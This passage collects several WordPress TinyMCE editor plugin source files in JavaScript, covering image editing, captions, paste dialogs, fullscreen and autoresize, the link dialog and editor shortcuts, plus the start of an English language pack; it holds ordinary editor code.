dom.setStyle(img, 'float', v);
else
img.style.verticalAlign = v;
}
}
// Handle border
if (ty == 'border') {
dom.setStyle(img, 'border', '');
v = f.border.value;
if (v || v == '0') {
if (v == '0')
img.style.border = '0';
else
img.style.border = v + 'px solid black';
}
}
// Handle hspace
if (ty == 'hspace') {
dom.setStyle(img, 'marginLeft', '');
dom.setStyle(img, 'marginRight', '');
v = f.hspace.value;
if (v) {
img.style.marginLeft = v + 'px';
img.style.marginRight = v + 'px';
}
}
// Handle vspace
if (ty == 'vspace') {
dom.setStyle(img, 'marginTop', '');
dom.setStyle(img, 'marginBottom', '');
v = f.vspace.value;
if (v) {
img.style.marginTop = v + 'px';
img.style.marginBottom = v + 'px';
}
}
// Merge
f.img_style.value = dom.serializeStyle(dom.parseStyle(img.style.cssText));
this.demoSetStyle();
}
},
checkVal : function(f) {
if ( f.value == '' ) {
// if ( f.id == 'width' ) f.value = this.width || this.preloadImg.width;
// if ( f.id == 'height' ) f.value = this.height || this.preloadImg.height;
if ( f.id == 'img_src' ) f.value = this.I('img_demo').src || this.preloadImg.src;
}
},
resetImageData : function() {
var f = document.forms[0];
f.width.value = f.height.value = '';
},
updateImageData : function() {
var f = document.forms[0], t = wpImage, w = f.width.value, h = f.height.value;
if ( !w && h )
w = f.width.value = t.width = Math.round( t.preloadImg.width / (t.preloadImg.height / h) );
else if ( w && !h )
h = f.height.value = t.height = Math.round( t.preloadImg.height / (t.preloadImg.width / w) );
if ( !w )
f.width.value = t.width = t.preloadImg.width;
if ( !h )
f.height.value = t.height = t.preloadImg.height;
t.showSizeSet();
t.demoSetSize();
if ( f.img_style.value )
t.demoSetStyle();
},
getImageData : function() {
var t = wpImage, f = document.forms[0];
t.preloadImg = new Image();
t.preloadImg.onload = t.updateImageData;
t.preloadImg.onerror = t.resetImageData;
t.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.img_src.value);
}
};
window.onload = function(){wpImage.init();}
wpImage.preInit();
| JavaScript |
(function() {
tinymce.create('tinymce.plugins.wpEditImage', {
init : function(ed, url) {
var t = this, mouse = {};
t.url = url;
t._createButtons();
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
ed.addCommand('WP_EditImage', function() {
var el = ed.selection.getNode(), vp = tinymce.DOM.getViewPort(), H = vp.h, W = ( 720 < vp.w ) ? 720 : vp.w, cls = ed.dom.getAttrib(el, 'class');
if ( cls.indexOf('mceItem') != -1 || cls.indexOf('wpGallery') != -1 || el.nodeName != 'IMG' )
return;
tb_show('', url + '/editimage.html?ver=321&TB_iframe=true');
tinymce.DOM.setStyles('TB_window', {
'width':( W - 50 )+'px',
'height':( H - 45 )+'px',
'margin-left':'-'+parseInt((( W - 50 ) / 2),10) + 'px'
});
if ( ! tinymce.isIE6 ) {
tinymce.DOM.setStyles('TB_window', {
'top':'20px',
'marginTop':'0'
});
}
tinymce.DOM.setStyles('TB_iframeContent', {
'width':( W - 50 )+'px',
'height':( H - 75 )+'px'
});
tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
});
ed.onInit.add(function(ed) {
tinymce.dom.Event.add(ed.getBody(), 'dragstart', function(e) {
if ( !tinymce.isGecko && e.target.nodeName == 'IMG' && ed.dom.getParent(e.target, 'dl.wp-caption') )
return tinymce.dom.Event.cancel(e);
});
});
// resize the caption <dl> when the image is soft-resized by the user (only possible in Firefox and IE)
ed.onMouseUp.add(function(ed, e) {
if ( tinymce.isWebKit || tinymce.isOpera )
return;
if ( mouse.x && (e.clientX != mouse.x || e.clientY != mouse.y) ) {
var n = ed.selection.getNode();
if ( 'IMG' == n.nodeName ) {
window.setTimeout(function(){
var DL, width;
if ( n.width != mouse.img_w || n.height != mouse.img_h )
n.className = n.className.replace(/size-[^ "']+/, '');
if ( ed.dom.getParent(n, 'div.mceTemp') ) {
DL = ed.dom.getParent(n, 'dl.wp-caption');
if ( DL ) {
width = ed.dom.getAttrib(n, 'width') || n.width;
width = parseInt(width, 10);
ed.dom.setStyle(DL, 'width', 10 + width);
ed.execCommand('mceRepaint');
}
}
}, 100);
}
}
mouse = {};
});
// show editimage buttons
ed.onMouseDown.add(function(ed, e) {
if ( e.target && ( e.target.nodeName == 'IMG' || (e.target.firstChild && e.target.firstChild.nodeName == 'IMG') ) ) {
mouse = {
x: e.clientX,
y: e.clientY,
img_w: e.target.clientWidth,
img_h: e.target.clientHeight
};
if ( ed.dom.getAttrib(e.target, 'class').indexOf('mceItem') == -1 )
ed.plugins.wordpress._showButtons(e.target, 'wp_editbtns');
}
});
// when pressing Return inside a caption move the cursor to a new parapraph under it
ed.onKeyPress.add(function(ed, e) {
var n, DL, DIV, P;
if ( e.keyCode == 13 ) {
n = ed.selection.getNode();
DL = ed.dom.getParent(n, 'dl.wp-caption');
DIV = ed.dom.getParent(DL, 'div.mceTemp');
if ( DL && DIV ) {
P = ed.dom.create('p', {}, ' ');
ed.dom.insertAfter( P, DIV );
if ( P.firstChild )
ed.selection.select(P.firstChild);
else
ed.selection.select(P);
tinymce.dom.Event.cancel(e);
return false;
}
}
});
ed.onBeforeSetContent.add(function(ed, o) {
o.content = t._do_shcode(o.content);
});
ed.onPostProcess.add(function(ed, o) {
if (o.get)
o.content = t._get_shcode(o.content);
});
},
_do_shcode : function(co) {
return co.replace(/(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?[\s\u00a0]*/g, function(a,b,c){
var id, cls, w, cap, div_cls;
b = b.replace(/\\'|\\'|\\'/g, ''').replace(/\\"|\\"/g, '"');
c = c.replace(/\\'|\\'/g, ''').replace(/\\"/g, '"');
id = b.match(/id=['"]([^'"]+)/i);
cls = b.match(/align=['"]([^'"]+)/i);
w = b.match(/width=['"]([0-9]+)/);
cap = b.match(/caption=['"]([^'"]+)/i);
id = ( id && id[1] ) ? id[1] : '';
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
w = ( w && w[1] ) ? w[1] : '';
cap = ( cap && cap[1] ) ? cap[1] : '';
if ( ! w || ! cap ) return c;
div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
return '<div class="'+div_cls+'" draggable><dl id="'+id+'" class="wp-caption '+cls+'" style="width: '+(10+parseInt(w))+
'px"><dt class="wp-caption-dt">'+c+'</dt><dd class="wp-caption-dd">'+cap+'</dd></dl></div>';
});
},
_get_shcode : function(co) {
return co.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){
var id, cls, w;
id = b.match(/id=['"]([^'"]+)/i);
cls = b.match(/class=['"]([^'"]+)/i);
w = c.match(/width=['"]([0-9]+)/);
id = ( id && id[1] ) ? id[1] : '';
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
w = ( w && w[1] ) ? w[1] : '';
if ( ! w || ! cap ) return c;
cls = cls.match(/align[^ '"]+/) || 'alignnone';
cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, ''').replace(/"/g, '"');
return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]';
});
},
_createButtons : function() {
var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, editButton, dellButton;
DOM.remove('wp_editbtns');
DOM.add(document.body, 'div', {
id : 'wp_editbtns',
style : 'display:none;'
});
editButton = DOM.add('wp_editbtns', 'img', {
src : t.url+'/img/image.png',
id : 'wp_editimgbtn',
width : '24',
height : '24',
title : ed.getLang('wpeditimage.edit_img')
});
tinymce.dom.Event.add(editButton, 'mousedown', function(e) {
var ed = tinyMCE.activeEditor;
ed.windowManager.bookmark = ed.selection.getBookmark('simple');
ed.execCommand("WP_EditImage");
});
dellButton = DOM.add('wp_editbtns', 'img', {
src : t.url+'/img/delete.png',
id : 'wp_delimgbtn',
width : '24',
height : '24',
title : ed.getLang('wpeditimage.del_img')
});
tinymce.dom.Event.add(dellButton, 'mousedown', function(e) {
var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p;
if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) {
if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
ed.dom.remove(p);
else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
ed.dom.remove(p);
else
ed.dom.remove(el);
ed.execCommand('mceRepaint');
return false;
}
});
},
getInfo : function() {
return {
longname : 'Edit Image',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : '',
version : "1.0"
};
}
});
tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage);
})();
| JavaScript |
tinyMCEPopup.requireLangPack();
var PasteWordDialog = {
init : function() {
var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = '';
// Create iframe
el.innerHTML = '<iframe id="iframe" src="javascript:\'\';" frameBorder="0" style="border: 1px solid gray"></iframe>';
ifr = document.getElementById('iframe');
doc = ifr.contentWindow.document;
// Force absolute CSS urls
css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")];
css = css.concat(tinymce.explode(ed.settings.content_css) || []);
tinymce.each(css, function(u) {
cssHTML += '<link href="' + ed.documentBaseURI.toAbsolute('' + u) + '" rel="stylesheet" type="text/css" />';
});
// Write content into iframe
doc.open();
doc.write('<html><head>' + cssHTML + '</head><body class="mceContentBody" spellcheck="false"></body></html>');
doc.close();
doc.designMode = 'on';
this.resize();
window.setTimeout(function() {
ifr.contentWindow.focus();
}, 10);
},
insert : function() {
var h = document.getElementById('iframe').contentWindow.document.body.innerHTML;
tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true});
tinyMCEPopup.close();
},
resize : function() {
var vp = tinyMCEPopup.dom.getViewPort(window), el;
el = document.getElementById('iframe');
if (el) {
el.style.width = (vp.w - 20) + 'px';
el.style.height = (vp.h - 90) + 'px';
}
}
};
tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog);
| JavaScript |
tinyMCEPopup.requireLangPack();
var PasteTextDialog = {
init : function() {
this.resize();
},
insert : function() {
var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines;
// Convert linebreaks into paragraphs
if (document.getElementById('linebreaks').checked) {
lines = h.split(/\r?\n/);
if (lines.length > 1) {
h = '';
tinymce.each(lines, function(row) {
h += '<p>' + row + '</p>';
});
}
}
tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h});
tinyMCEPopup.close();
},
resize : function() {
var vp = tinyMCEPopup.dom.getViewPort(window), el;
el = document.getElementById('content');
el.style.width = (vp.w - 20) + 'px';
el.style.height = (vp.h - 90) + 'px';
}
};
tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog);
| JavaScript |
/**
* WP Fullscreen TinyMCE plugin
*
* Contains code from Moxiecode Systems AB released under LGPL License http://tinymce.moxiecode.com/license
*/
(function() {
tinymce.create('tinymce.plugins.wpFullscreenPlugin', {
init : function(ed, url) {
var t = this, oldHeight = 0, s = {}, DOM = tinymce.DOM, resized = false;
// Register commands
ed.addCommand('wpFullScreenClose', function() {
// this removes the editor, content has to be saved first with tinyMCE.execCommand('wpFullScreenSave');
if ( ed.getParam('wp_fullscreen_is_enabled') ) {
DOM.win.setTimeout(function() {
tinyMCE.remove(ed);
DOM.remove('wp_mce_fullscreen_parent');
tinyMCE.settings = tinyMCE.oldSettings; // Restore old settings
}, 10);
}
});
ed.addCommand('wpFullScreenSave', function() {
var ed = tinyMCE.get('wp_mce_fullscreen'), edd;
ed.focus();
edd = tinyMCE.get( ed.getParam('wp_fullscreen_editor_id') );
edd.setContent( ed.getContent({format : 'raw'}), {format : 'raw'} );
});
ed.addCommand('wpFullScreenInit', function() {
var d, b, fsed;
ed = tinymce.get('content');
d = ed.getDoc();
b = d.body;
tinyMCE.oldSettings = tinyMCE.settings; // Store old settings
tinymce.each(ed.settings, function(v, n) {
s[n] = v;
});
s.id = 'wp_mce_fullscreen';
s.wp_fullscreen_is_enabled = true;
s.wp_fullscreen_editor_id = ed.id;
s.theme_advanced_resizing = false;
s.theme_advanced_statusbar_location = 'none';
s.content_css = s.content_css ? s.content_css + ',' + s.wp_fullscreen_content_css : s.wp_fullscreen_content_css;
s.height = tinymce.isIE ? b.scrollHeight : b.offsetHeight;
tinymce.each(ed.getParam('wp_fullscreen_settings'), function(v, k) {
s[k] = v;
});
fsed = new tinymce.Editor('wp_mce_fullscreen', s);
fsed.onInit.add(function(edd) {
var DOM = tinymce.DOM, buttons = DOM.select('a.mceButton', DOM.get('wp-fullscreen-buttons'));
if ( !ed.isHidden() )
edd.setContent( ed.getContent() );
else
edd.setContent( switchEditors.wpautop( edd.getElement().value ) );
setTimeout(function(){ // add last
edd.onNodeChange.add(function(ed, cm, e){
tinymce.each(buttons, function(c) {
var btn, cls;
if ( btn = DOM.get( 'wp_mce_fullscreen_' + c.id.substr(6) ) ) {
cls = btn.className;
if ( cls )
c.className = cls;
}
});
});
}, 1000);
edd.dom.addClass(edd.getBody(), 'wp-fullscreen-editor');
edd.focus();
});
fsed.render();
if ( 'undefined' != fullscreen ) {
fsed.dom.bind( fsed.dom.doc, 'mousemove', function(e){
fullscreen.bounder( 'showToolbar', 'hideToolbar', 2000, e );
});
}
});
// Register buttons
if ( 'undefined' != fullscreen ) {
ed.addButton('wp_fullscreen', {
title : 'fullscreen.desc',
onclick : function(){ fullscreen.on(); }
});
}
// END fullscreen
//----------------------------------------------------------------
// START autoresize
if ( ed.getParam('fullscreen_is_enabled') || !ed.getParam('wp_fullscreen_is_enabled') )
return;
/**
* This method gets executed each time the editor needs to resize.
*/
function resize() {
if ( resized )
return;
var d = ed.getDoc(), DOM = tinymce.DOM, resizeHeight, myHeight;
// Get height differently depending on the browser used
if ( tinymce.isIE )
myHeight = d.body.scrollHeight;
else
myHeight = d.documentElement.offsetHeight;
// Don't make it smaller than 300px
resizeHeight = (myHeight > 300) ? myHeight : 300;
// Resize content element
if ( oldHeight != resizeHeight ) {
oldHeight = resizeHeight;
resized = true;
setTimeout(function(){ resized = false; }, 100);
DOM.setStyle(DOM.get(ed.id + '_ifr'), 'height', resizeHeight + 'px');
}
};
// Add appropriate listeners for resizing content area
ed.onInit.add(function(ed, l) {
ed.onChange.add(resize);
ed.onSetContent.add(resize);
ed.onPaste.add(resize);
ed.onKeyUp.add(resize);
ed.onPostRender.add(resize);
ed.getBody().style.overflowY = "hidden";
});
if (ed.getParam('autoresize_on_init', true)) {
ed.onLoadContent.add(function(ed, l) {
// Because the content area resizes when its content CSS loads,
// and we can't easily add a listener to its onload event,
// we'll just trigger a resize after a short loading period
setTimeout(function() {
resize();
}, 1200);
});
}
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('wpAutoResize', resize);
},
getInfo : function() {
return {
longname : 'WP Fullscreen',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : '',
version : '1.0'
};
}
});
// Register plugin
tinymce.PluginManager.add('wpfullscreen', tinymce.plugins.wpFullscreenPlugin);
})();
| JavaScript |
(function() {
tinymce.create('tinymce.plugins.wpLink', {
/**
* Initializes the plugin, this will be executed after the plugin has been created.
* This call is done before the editor instance has finished it's initialization so use the onInit event
* of the editor instance to intercept that event.
*
* @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
* @param {string} url Absolute URL to where the plugin is located.
*/
init : function(ed, url) {
var disabled = true;
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample');
ed.addCommand('WP_Link', function() {
if ( disabled )
return;
ed.windowManager.open({
id : 'wp-link',
width : 480,
height : "auto",
wpDialog : true,
title : ed.getLang('advlink.link_desc')
}, {
plugin_url : url // Plugin absolute URL
});
});
// Register example button
ed.addButton('link', {
title : ed.getLang('advanced.link_desc'),
cmd : 'WP_Link'
});
ed.addShortcut('alt+shift+a', ed.getLang('advanced.link_desc'), 'WP_Link');
ed.onNodeChange.add(function(ed, cm, n, co) {
disabled = co && n.nodeName != 'A';
});
},
/**
* Returns information about the plugin as a name/value array.
* The current keys are longname, author, authorurl, infourl and version.
*
* @return {Object} Name/value array containing information about the plugin.
*/
getInfo : function() {
return {
longname : 'WordPress Link Dialog',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : '',
version : "1.0"
};
}
});
// Register plugin
tinymce.PluginManager.add('wplink', tinymce.plugins.wpLink);
})(); | JavaScript |
/**
* WordPress plugin.
*/
(function() {
var DOM = tinymce.DOM;
tinymce.create('tinymce.plugins.WordPress', {
mceTout : 0,
init : function(ed, url) {
var t = this, tbId = ed.getParam('wordpress_adv_toolbar', 'toolbar2'), last = 0, moreHTML, nextpageHTML;
moreHTML = '<img src="' + url + '/img/trans.gif" class="mceWPmore mceItemNoResize" title="'+ed.getLang('wordpress.wp_more_alt')+'" />';
nextpageHTML = '<img src="' + url + '/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+ed.getLang('wordpress.wp_page_alt')+'" />';
if ( getUserSetting('hidetb', '0') == '1' )
ed.settings.wordpress_adv_hidden = 0;
// Hides the specified toolbar and resizes the iframe
ed.onPostRender.add(function() {
var adv_toolbar = ed.controlManager.get(tbId);
if ( ed.getParam('wordpress_adv_hidden', 1) && adv_toolbar ) {
DOM.hide(adv_toolbar.id);
t._resizeIframe(ed, tbId, 28);
}
});
// Register commands
ed.addCommand('WP_More', function() {
ed.execCommand('mceInsertContent', 0, moreHTML);
});
ed.addCommand('WP_Page', function() {
ed.execCommand('mceInsertContent', 0, nextpageHTML);
});
ed.addCommand('WP_Help', function() {
ed.windowManager.open({
url : tinymce.baseURL + '/wp-mce-help.php',
width : 450,
height : 420,
inline : 1
});
});
ed.addCommand('WP_Adv', function() {
var cm = ed.controlManager, id = cm.get(tbId).id;
if ( 'undefined' == id )
return;
if ( DOM.isHidden(id) ) {
cm.setActive('wp_adv', 1);
DOM.show(id);
t._resizeIframe(ed, tbId, -28);
ed.settings.wordpress_adv_hidden = 0;
setUserSetting('hidetb', '1');
} else {
cm.setActive('wp_adv', 0);
DOM.hide(id);
t._resizeIframe(ed, tbId, 28);
ed.settings.wordpress_adv_hidden = 1;
setUserSetting('hidetb', '0');
}
});
ed.addCommand('WP_Medialib', function() {
var id = ed.getParam('wp_fullscreen_editor_id') || ed.getParam('fullscreen_editor_id') || ed.id,
link = tinymce.DOM.select('#wp-' + id + '-media-buttons a.thickbox');
if ( link && link[0] )
link = link[0];
else
return;
tb_show('', link.href);
tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
});
// Register buttons
ed.addButton('wp_more', {
title : 'wordpress.wp_more_desc',
cmd : 'WP_More'
});
ed.addButton('wp_page', {
title : 'wordpress.wp_page_desc',
image : url + '/img/page.gif',
cmd : 'WP_Page'
});
ed.addButton('wp_help', {
title : 'wordpress.wp_help_desc',
cmd : 'WP_Help'
});
ed.addButton('wp_adv', {
title : 'wordpress.wp_adv_desc',
cmd : 'WP_Adv'
});
// Add Media button
ed.addButton('add_media', {
title : 'wordpress.add_media',
image : url + '/img/image.gif',
cmd : 'WP_Medialib'
});
// Add Media buttons to fullscreen and handle align buttons for image captions
ed.onBeforeExecCommand.add(function(ed, cmd, ui, val, o) {
var DOM = tinymce.DOM, n, DL, DIV, cls, a, align;
if ( 'mceFullScreen' == cmd ) {
if ( 'mce_fullscreen' != ed.id && DOM.select('a.thickbox').length )
ed.settings.theme_advanced_buttons1 += ',|,add_media';
}
if ( 'JustifyLeft' == cmd || 'JustifyRight' == cmd || 'JustifyCenter' == cmd ) {
n = ed.selection.getNode();
if ( n.nodeName == 'IMG' ) {
align = cmd.substr(7).toLowerCase();
a = 'align' + align;
DL = ed.dom.getParent(n, 'dl.wp-caption');
DIV = ed.dom.getParent(n, 'div.mceTemp');
if ( DL && DIV ) {
cls = ed.dom.hasClass(DL, a) ? 'alignnone' : a;
DL.className = DL.className.replace(/align[^ '"]+\s?/g, '');
ed.dom.addClass(DL, cls);
if (cls == 'aligncenter')
ed.dom.addClass(DIV, 'mceIEcenter');
else
ed.dom.removeClass(DIV, 'mceIEcenter');
o.terminate = true;
ed.execCommand('mceRepaint');
} else {
if ( ed.dom.hasClass(n, a) )
ed.dom.addClass(n, 'alignnone');
else
ed.dom.removeClass(n, 'alignnone');
}
}
}
});
ed.onInit.add(function(ed) {
// make sure these run last
ed.onNodeChange.add( function(ed, cm, e) {
var DL;
if ( e.nodeName == 'IMG' ) {
DL = ed.dom.getParent(e, 'dl.wp-caption');
} else if ( e.nodeName == 'DIV' && ed.dom.hasClass(e, 'mceTemp') ) {
DL = e.firstChild;
if ( ! ed.dom.hasClass(DL, 'wp-caption') )
DL = false;
}
if ( DL ) {
if ( ed.dom.hasClass(DL, 'alignleft') )
cm.setActive('justifyleft', 1);
else if ( ed.dom.hasClass(DL, 'alignright') )
cm.setActive('justifyright', 1);
else if ( ed.dom.hasClass(DL, 'aligncenter') )
cm.setActive('justifycenter', 1);
}
});
if ( ed.id != 'wp_mce_fullscreen' && ed.id != 'mce_fullscreen' )
ed.dom.addClass(ed.getBody(), 'wp-editor');
else if ( ed.id == 'mce_fullscreen' )
ed.dom.addClass(ed.getBody(), 'mce-fullscreen');
// remove invalid parent paragraphs when pasting HTML and/or switching to the HTML editor and back
ed.onBeforeSetContent.add(function(ed, o) {
if ( o.content ) {
o.content = o.content.replace(/<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre|address)( [^>]*)?>/gi, '<$1$2>');
o.content = o.content.replace(/<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre|address)>\s*<\/p>/gi, '</$1>');
}
});
});
// Word count
if ( 'undefined' != typeof(jQuery) ) {
ed.onKeyUp.add(function(ed, e) {
var k = e.keyCode || e.charCode;
if ( k == last )
return;
if ( 13 == k || 8 == last || 46 == last )
jQuery(document).triggerHandler('wpcountwords', [ ed.getContent({format : 'raw'}) ]);
last = k;
});
};
// keep empty paragraphs :(
ed.onSaveContent.addToTop(function(ed, o) {
o.content = o.content.replace(/<p>(<br ?\/?>|\u00a0|\uFEFF)?<\/p>/g, '<p> </p>');
});
ed.onSaveContent.add(function(ed, o) {
if ( ed.getParam('wpautop', true) && typeof(switchEditors) == 'object' ) {
if ( ed.isHidden() )
o.content = o.element.value;
else
o.content = switchEditors.pre_wpautop(o.content);
}
});
/* disable for now
ed.onBeforeSetContent.add(function(ed, o) {
o.content = t._setEmbed(o.content);
});
ed.onPostProcess.add(function(ed, o) {
if ( o.get )
o.content = t._getEmbed(o.content);
});
*/
// Add listeners to handle more break
t._handleMoreBreak(ed, url);
// Add custom shortcuts
ed.addShortcut('alt+shift+c', ed.getLang('justifycenter_desc'), 'JustifyCenter');
ed.addShortcut('alt+shift+r', ed.getLang('justifyright_desc'), 'JustifyRight');
ed.addShortcut('alt+shift+l', ed.getLang('justifyleft_desc'), 'JustifyLeft');
ed.addShortcut('alt+shift+j', ed.getLang('justifyfull_desc'), 'JustifyFull');
ed.addShortcut('alt+shift+q', ed.getLang('blockquote_desc'), 'mceBlockQuote');
ed.addShortcut('alt+shift+u', ed.getLang('bullist_desc'), 'InsertUnorderedList');
ed.addShortcut('alt+shift+o', ed.getLang('numlist_desc'), 'InsertOrderedList');
ed.addShortcut('alt+shift+d', ed.getLang('striketrough_desc'), 'Strikethrough');
ed.addShortcut('alt+shift+n', ed.getLang('spellchecker.desc'), 'mceSpellCheck');
ed.addShortcut('alt+shift+a', ed.getLang('link_desc'), 'mceLink');
ed.addShortcut('alt+shift+s', ed.getLang('unlink_desc'), 'unlink');
ed.addShortcut('alt+shift+m', ed.getLang('image_desc'), 'WP_Medialib');
ed.addShortcut('alt+shift+g', ed.getLang('fullscreen.desc'), 'mceFullScreen');
ed.addShortcut('alt+shift+z', ed.getLang('wp_adv_desc'), 'WP_Adv');
ed.addShortcut('alt+shift+h', ed.getLang('help_desc'), 'WP_Help');
ed.addShortcut('alt+shift+t', ed.getLang('wp_more_desc'), 'WP_More');
ed.addShortcut('alt+shift+p', ed.getLang('wp_page_desc'), 'WP_Page');
ed.addShortcut('ctrl+s', ed.getLang('save_desc'), function(){if('function'==typeof autosave)autosave();});
if ( tinymce.isWebKit ) {
ed.addShortcut('alt+shift+b', ed.getLang('bold_desc'), 'Bold');
ed.addShortcut('alt+shift+i', ed.getLang('italic_desc'), 'Italic');
}
ed.onInit.add(function(ed) {
tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) {
ed.plugins.wordpress._hideButtons();
});
tinymce.dom.Event.add(ed.getBody(), 'dragstart', function(e) {
ed.plugins.wordpress._hideButtons();
});
});
ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
ed.plugins.wordpress._hideButtons();
});
ed.onSaveContent.add(function(ed, o) {
ed.plugins.wordpress._hideButtons();
});
ed.onMouseDown.add(function(ed, e) {
if ( e.target.nodeName != 'IMG' )
ed.plugins.wordpress._hideButtons();
});
},
getInfo : function() {
return {
longname : 'WordPress Plugin',
author : 'WordPress', // add Moxiecode?
authorurl : 'http://wordpress.org',
infourl : 'http://wordpress.org',
version : '3.0'
};
},
// Internal functions
_setEmbed : function(c) {
return c.replace(/\[embed\]([\s\S]+?)\[\/embed\][\s\u00a0]*/g, function(a,b){
return '<img width="300" height="200" src="' + tinymce.baseURL + '/plugins/wordpress/img/trans.gif" class="wp-oembed mceItemNoResize" alt="'+b+'" title="'+b+'" />';
});
},
_getEmbed : function(c) {
return c.replace(/<img[^>]+>/g, function(a) {
if ( a.indexOf('class="wp-oembed') != -1 ) {
var u = a.match(/alt="([^\"]+)"/);
if ( u[1] )
a = '[embed]' + u[1] + '[/embed]';
}
return a;
});
},
_showButtons : function(n, id) {
var ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y;
vp = ed.dom.getViewPort(ed.getWin());
p1 = DOM.getPos(ed.getContentAreaContainer());
p2 = ed.dom.getPos(n);
X = Math.max(p2.x - vp.x, 0) + p1.x;
Y = Math.max(p2.y - vp.y, 0) + p1.y;
DOM.setStyles(id, {
'top' : Y+5+'px',
'left' : X+5+'px',
'display' : 'block'
});
if ( this.mceTout )
clearTimeout(this.mceTout);
this.mceTout = setTimeout( function(){ed.plugins.wordpress._hideButtons();}, 5000 );
},
_hideButtons : function() {
if ( !this.mceTout )
return;
if ( document.getElementById('wp_editbtns') )
tinymce.DOM.hide('wp_editbtns');
if ( document.getElementById('wp_gallerybtns') )
tinymce.DOM.hide('wp_gallerybtns');
clearTimeout(this.mceTout);
this.mceTout = 0;
},
// Resizes the iframe by a relative height value
_resizeIframe : function(ed, tb_id, dy) {
var ifr = ed.getContentAreaContainer().firstChild;
DOM.setStyle(ifr, 'height', ifr.clientHeight + dy); // Resize iframe
ed.theme.deltaHeight += dy; // For resize cookie
},
_handleMoreBreak : function(ed, url) {
var moreHTML, nextpageHTML;
moreHTML = '<img src="' + url + '/img/trans.gif" alt="$1" class="mceWPmore mceItemNoResize" title="'+ed.getLang('wordpress.wp_more_alt')+'" />';
nextpageHTML = '<img src="' + url + '/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+ed.getLang('wordpress.wp_page_alt')+'" />';
// Load plugin specific CSS into editor
ed.onInit.add(function() {
ed.dom.loadCSS(url + '/css/content.css');
});
// Display morebreak instead if img in element path
ed.onPostRender.add(function() {
if (ed.theme.onResolveName) {
ed.theme.onResolveName.add(function(th, o) {
if (o.node.nodeName == 'IMG') {
if ( ed.dom.hasClass(o.node, 'mceWPmore') )
o.name = 'wpmore';
if ( ed.dom.hasClass(o.node, 'mceWPnextpage') )
o.name = 'wppage';
}
});
}
});
// Replace morebreak with images
ed.onBeforeSetContent.add(function(ed, o) {
if ( o.content ) {
o.content = o.content.replace(/<!--more(.*?)-->/g, moreHTML);
o.content = o.content.replace(/<!--nextpage-->/g, nextpageHTML);
}
});
// Replace images with morebreak
ed.onPostProcess.add(function(ed, o) {
if (o.get)
o.content = o.content.replace(/<img[^>]+>/g, function(im) {
if (im.indexOf('class="mceWPmore') !== -1) {
var m, moretext = (m = im.match(/alt="(.*?)"/)) ? m[1] : '';
im = '<!--more'+moretext+'-->';
}
if (im.indexOf('class="mceWPnextpage') !== -1)
im = '<!--nextpage-->';
return im;
});
});
// Set active buttons if user selected pagebreak or more break
ed.onNodeChange.add(function(ed, cm, n) {
cm.setActive('wp_page', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPnextpage'));
cm.setActive('wp_more', n.nodeName === 'IMG' && ed.dom.hasClass(n, 'mceWPmore'));
});
}
});
// Register plugin
tinymce.PluginManager.add('wordpress', tinymce.plugins.WordPress);
})();
| JavaScript |
tinyMCE.addI18n({en:{
common:{
edit_confirm:"Do you want to use the WYSIWYG mode for this textarea?",
apply:"Apply",
insert:"Insert",
update:"Update",
cancel:"Cancel",
close:"Close",
browse:"Browse",
class_name:"Class",
not_set:"-- Not set --",
clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.",
clipboard_no_support:"Currently not supported by your browser, use keyboard shortcuts instead.",
popup_blocked:"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.",
invalid_data:"Error: Invalid values entered, these are marked in red.",
invalid_data_number:"{#field} must be a number",
invalid_data_min:"{#field} must be a number greater than {#min}",
invalid_data_size:"{#field} must be a number or percentage",
more_colors:"More colors"
},
colors:{
"000000":"Black",
"993300":"Burnt orange",
